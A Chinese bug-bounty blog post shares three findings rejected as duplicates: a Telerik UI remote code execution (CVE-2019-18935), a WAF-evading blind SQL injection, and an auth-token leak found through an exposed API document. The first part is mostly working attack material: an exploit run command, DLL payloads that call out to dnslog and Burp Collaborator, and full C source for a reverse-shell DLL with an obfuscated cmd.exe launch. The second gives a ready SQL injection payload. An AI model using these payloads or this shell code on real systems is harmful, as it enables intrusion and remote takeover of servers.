最近挖了一些漏洞。虽然重复了,但是有参考价值。这边给大家分享下。
漏洞重复还是很难受的,转念一想,人生从不是事事如人意的,漏洞重复忽略,不代表失败。先来后到很重要,出场顺序很重要。
1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我
测试域名:https://***.***:8089/
同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞
漏洞利用exp下载地址:
https://github.com/noperator/CVE-2019-18935
https://github.com/noperator/CVE-2019-18935.git
延迟11s:sleep 11s:
测试代码: test.c
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL\_PROCESS\_ATTACH)
//Sleep(10000); // Time interval in milliseconds.
Sleep(11000);
return TRUE;
}
test.c编译成amd642.dll文件
运行:
python CVE-2019-18935.py -v 2017.1.228 -p payloads\amd642.dll -u https://***.****:8089/Telerik.Web.UI.WebResource.axd?type=rau
第一步验证成功,成功延迟11s左右,原始请求2s
测试命令执行:
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL\_PROCESS\_ATTACH)
system("cmd.exe /c nslookup rsmwe.dnslog.cn");
system("cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net");
return TRUE;
}
test.c编译成amd642.dll文件
再次运行查看dnslog:
直接反弹shell,通用exp:
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2\_32")
#define HOST "{vps ip}"
#define PORT {port}
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr\_in hax;
char aip\_addr\[16\];
STARTUPINFO ini\_processo;
PROCESS\_INFORMATION processo\_info;
// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock\=WSASocket(AF\_INET, SOCK\_STREAM, IPPROTO\_TCP, NULL, 0, 0);
struct hostent \*host = gethostbyname(HOST);
strcpy(aip\_addr, inet\_ntoa(\*((struct in\_addr \*)host->h\_addr)));
hax.sin\_family \= AF\_INET;
hax.sin\_port \= htons(PORT);
hax.sin\_addr.s\_addr \= inet\_addr(aip\_addr);
WSAConnect(Winsock, (SOCKADDR\*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
if (WSAGetLastError() == 0) {
memset(&ini\_processo, 0, sizeof(ini\_processo));
ini\_processo.cb \= sizeof(ini\_processo);
ini\_processo.dwFlags \= STARTF\_USESTDHANDLES;
ini\_processo.hStdInput \= ini\_processo.hStdOutput = ini\_processo.hStdError = (HANDLE)Winsock;
char \*myArray\[4\] = { "cm", "d.e", "x", "e" };
char command\[8\] = "";
snprintf(command, sizeof(command), "%s%s%s%s", myArray\[0\], myArray\[1\], myArray\[2\], myArray\[3\]);
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini\_processo, &processo\_info);
}
}
DWORD WINAPI MainThread(LPVOID lpParam)
{
ReverseShell();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
HANDLE hThread;
if (fdwReason == DLL\_PROCESS\_ATTACH)
hThread \= CreateThread(0, 0, MainThread, 0, 0, 0);
return TRUE;
}
权限不低,是域用户:
2.sql注入:
背景介绍:朋友发来一个注入,这个注入还挺棘手的,有xx云的waf,并且后端过滤了逗号,单双引号以及常规函数等。
我的思路很简单,十六进制。regexp函数即可,我觉得应该还有别的思路
(case+when+current\_user+regexp+0x\*+then+1+else+2\*1e308+end)
这样就把数据库user搞出来了。
这里我想说下case when这个语句,case when语句比我们想象的要灵活的多,这里做下笔记说下:
最常见的:
说点不常见的,我写两个demo,可以一直套娃下去:
case 1\=1 when 2\=2 then 1\=1 else 1/0 end
3.url跳转+身份认证token泄漏:
我昨天晚上挖的,忽略理由是重复。有时候对某些厂商还挺无语的,漏洞在那边,不修复。让我有种错觉,发现漏洞,有种踩到蜜罐的错觉。
资产范围是:vc-*.xxx.com
其实遇到这种范围,我还挺开心的,因为我可以Fuzz下,简单Fuzz了下,发现不少资产。
挨个打开看,访问:vc-ss.xxx.com,访问站点,直接跳转要求登录。
我不是神仙,我也没账号,我看着js,没发现可访问的路径信息。
开始fuzz,知道是php就很好办了。使用ffuf跑php/api字典,跑到了一个接口开发文档/api/***.html
接口开发文档设计本意是好的,但是大多数的接口开发文档上的截图信息/接口信息都可能有被二次漏洞利用风险。虽然截图信息都是明文,但是很不幸的是测试了下,发现几乎所有的接口,直接访问都是401,需要身份认证。些许无奈了,想放弃的时候,总是告诉自己,坚持看完看仔细。继续盯着接口文档一直翻来翻去,发现了一个身份token泄漏和其他一些安全漏洞。
整理漏洞提交了,早上就收到了重复的消息:
没什么可说的,收拾收拾心情重新上路了~
此页面的语言为马耳他语
翻译为中文(简体)
随时将马耳他语翻译为中文(简体)PRO
一律不翻译马耳他语
一律不翻译i.cnblogs.com
TRANSLATE with x
English
TRANSLATE with
COPY THE URL BELOW
Back
EMBED THE SNIPPET BELOW IN YOUR SITE
Enable collaborative features and customize widget: Bing Webmaster Portal
Back